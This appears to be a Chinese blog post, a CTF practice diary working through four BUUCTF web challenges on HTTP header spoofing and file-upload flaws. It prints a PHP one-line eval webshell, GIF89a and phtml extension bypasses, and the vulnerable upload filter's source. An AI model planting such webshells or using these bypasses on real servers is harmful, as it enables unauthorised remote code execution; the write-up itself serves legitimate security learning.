刷题日记3(buuctf web题)

十一、[极客大挑战 2019]Http

打开源代码,看到有个链接

在这里插入图片描述
点开有个网址
在这里插入图片描述
点进去看看,但是一直在加载,查看wp,说要进行伪造来绕过,没看懂。
换个wp,页面说我不是从https://Sycsecret.buuoj.cn过来的,那就在header中加上Referer:https://Sycsecret.buuoj.cn,来构造访问来源。
Referer协议就是告诉服务器我从哪来。

接下来抓包进行修改,输入Referer:https://Sycsecret.buuoj.cn


提示让我使用Syclover浏览器,这时用User-Agent协议来伪造访问工具为 Syclover 浏览器,这个协议就是告诉服务器我是用什么访问的。
修改 User-Agent 为User-Agent: Syclover 。

在这里插入图片描述
此时提示说我只能用本地来读,我们可以伪造本地ip 127.0.0.1,利用X-Forwarded-For协议来伪造。
只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问,这时得到flag
在这里插入图片描述

十二、[极客大挑战 2019]Knife

查看源代码、bp抓包无果,试试中国菜刀或者蚁剑吧

都说蚁剑更好用,需要下载两个东西,一个是蚁剑,一个是蚁剑的加速器
蚁剑
加速器
下载好后打开加速器文件夹里的Antsword.exe,然后需要找个目录,此时放入的就是蚁剑文件夹,如果报错,显示代码解压出错,那就在打开Antword.exe时右击选择以管理员身份打开,再放入下载的蚁剑文件夹

先添加数据,输入地址和密码就行

在这里插入图片描述
添加好双击进入后台,找到根目录,翻到最下面会发现有个flag文件
在这里插入图片描述
点进去就可以看到flag啦

在这里插入图片描述

十三、[极客大挑战 2019]Upload

上传图片试试,不理解,明明是png格式的,却说不是图片,尝试txt,php都是这样
在这里插入图片描述
抓包吧,先上传个png格式,离谱,png格式不行

在这里插入图片描述
上传个一句话木马:<?php eval(@$_POST['shell']);?>,过滤了<?

在这里插入图片描述

可以尝试用script格式的一句话木马:,也不行,说这不是图片,不要骗他

在这里插入图片描述
PHP getimagesize会对文件检查,看是否为图片,这儿可以在一句话木马前加上GIF89a,绕过文件内容头校验,上传成功啦,但不是php文件

在这里插入图片描述
改成可以替代php的phtml后缀名试试,上传成功了捏
常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml
在这里插入图片描述
开始用蚁剑连接后台吧
这儿只有后缀为phtml的那个上传才能用,因为一句话木马是用php写的

在这里插入图片描述

但是我这报错了,js出现了错误

在这里插入图片描述
先不用蚁剑,猜测一下文件在upload文件下,url/upload

在这里插入图片描述
点击刚上传的一句话木马.phtml

在这里插入图片描述

找到了flag(这儿cat出了flag,是因为我上传的phtml文件还加了:)

刚刚的报错,找到了原因,
一是因为没有对“一句话木马”url编码,会出现“js在主程序中出错”,因为我上传的文件名为中文,所以需要编码一下
二是没添加upload目录,没添加会出现如下提示:

在这里插入图片描述

在这里插入图片描述
找到原因了,现在来连接吧

在这里插入图片描述
根目录下发现了flag

在这里插入图片描述
这里我们可以看一下upload_file.php文件
这儿是被过滤掉的文件后缀,所以我们用phtml

在这里插入图片描述
这儿的文件大小小于20kb才会往下执行,一开始我们上传的虽然是图片,但是太大了,所以说那不是image
在这里插入图片描述

<?php
$file = $_FILES["file"];

$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");//array() 函数用于创建数组
$temp = explode(".", $file["name"]);//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组
$extension = strtolower(end($temp)); //strtolower() 函数把字符串转换为小写。
//获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]);//exif_imagetype() 读取图像的第一个字节,并且 检查其签名。
//这儿检查 图片签名,所以文件开头要加GIF85a绕过
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480)    // 小于 20 kb
{
    if ($file["error"] > 0){

        echo "ERROR!!!";
    }
    elseif (in_array($extension, $allowedExts)) {//in_array() 函数搜索数组中是否存在指定的值。
        echo "NOT!".$extension."!";
    }  
    elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
        echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
    }//file_get_contents() 把整个文件读入一个字符串中。
    //mb_strpos — 查找字符串在另一个字符串中首次出现的位置
    //这儿是过滤一句话木马里的<?
    elseif (!$image_type) {
        echo "Don't lie to me, it's not image at all!!!";
    }
    else{
        $fileName='./upload/'.$file['name'];
        move_uploaded_file($file['tmp_name'],$fileName); //move_uploaded_file() 函数将上传的文件移动到新位置。
        echo "上传文件名: " . $file["name"] . "<br>";
    }
}
else
{
    echo "Not image!";
}
?>

十四、[ACTF2020 新生赛]Upload

上传文件,试一下,提示只能上传jpg\png\gif图片
在这里插入图片描述
查看源代码,尝试删掉上传检查文件的函数

在这里插入图片描述
仍然提示只能上传那三种图片捏

那就用一句话木马
新建一个文本输入:<?php eval(@$_POST['shell']);?>,
用bp抓包,修改成php文件,但是提示php文件不行,应该是后端过滤掉了
在这里插入图片描述
试试把后缀改成Php,这次没有过滤掉,但是这样无法运行文件里代码

在这里插入图片描述
常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml
在这里插入图片描述
用反馈回来的目录登一下,没有任何东西
在这里插入图片描述
我们可以在上传的文件里写cat flag文件,如果刚好flag在根目录下,flag就可以被cat出来

真的cat出来了
在这里插入图片描述
即使最后一步不知道flag文件在哪,也可以用蚁剑连接进入后台查找
在这里插入图片描述
根目录找到flag文件,找到flag了
在这里插入图片描述
顺便看一下index.php,这里是被过滤掉的php类型,所以可以用phtml,pht取代

在这里插入图片描述
这里再来学习一下一句话木马:
先吐槽一句,以前硬看没看懂,现在有题练手,再看一句话木马介绍就理解了,开心
一句话木马

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值